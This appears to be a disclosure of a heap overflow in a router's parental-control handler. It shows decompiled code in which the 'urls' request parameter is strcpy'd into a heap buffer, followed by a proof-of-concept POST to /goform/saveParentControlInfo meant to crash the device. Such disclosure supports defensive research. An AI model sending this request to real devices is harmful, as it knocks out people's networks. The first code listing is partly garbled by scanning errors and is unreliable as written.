

```
memset(s, 0, sizeof(s));
24
25
    V19 = 0;
26
    memset(v21, 0, 0x100u);
    v2 = webgetvar(a1, (int)"deviceId", (int)&byte 1C2CF0);
27
    v3 = webgetvar(a1, (int)"deviceName", (int)&byte 1C2CF0);
28
    if ( *v3 )
29
      setdevicename(v3, v2);
30
    result = sub 60BE0(a1);
31
    if (!result)
32
33
    {
      v5 = (char *)malloc(0x254u);
34
35
      memset(v5, 0, 0x254u);
      strcpy(v5 + 2, v2);
36
      v6 = malloc(0x254u);
37
      memset(v6, 0, 0x254u);
38
      SetValue("parent.global.en", "1");
39
      SetValue("filter.url.en", "1");
40
      SetValue("filter.mac.en", "1");
41
      sub 60CFC(a1, v6);
42
      V/ = SUD_5HEFC(0, &V19, V5);
43
      if ( v7 <= 0 )
44
```

Firstly, this function calls the sub_60CFC function and the second parameter v6 is a heap address pointer.

```
src = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
nptr = webgetvar(a1, (int)"enable", (int)&byte_1C2CF0);
v4 = webgetvar(a1, (int)"time", (int)&byte_1C2CF0);
v5 = webgetvar(a1, (int)"url enable", (int)&byte_1C2CF0);
v16 = webgetvar(a1, (int)"urls", (int)&byte_1C2CF0);
v6 = webgetvar(a1, (int)"day", (int)&byte_1C2CF0);
v7 = webgetvar(a1, (int)"block", (int)&byte_1C2CF0);
v8 = webgetvar(a1, (int)"limit_type", (int)"1");
```

In the sub_60CFC function, the $\,$ v16 $\,$ variable is obtained directly from the http request parameter $\,$ urls $\,$.

Then this function will use the strcpy function to copy the v16 to a2 + 80.

```
*(_DWORD *)(a2 + 76) = atoi(v4);
strcpy((char *)(a2 + 80), v16);

*(_BYTE *)(a2 + 592) = atoi(v5) != 0;
v11 = atoi(nptr);

*(_BYTE *)(a2 + 1) = 0;

*(_BYTE *)a2 = v11 != 0;
result = atoi(v8) != 0;

*(_BYTE *)(a2 + 593) = result;
return result;
}
```

However, a2 is a heap address pointer. So it causes heap overflow.

So by POSTing the page /goform/saveParentControlInfo with long urls, the attacker can easily perform a Denial of Service(DoS).

POC

Poc of Denial of Service(DoS):

```
POST /goform/saveParentControlInfo HTTP/1.1
Host: 192.168.2.1
Connection: close
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 65550
```



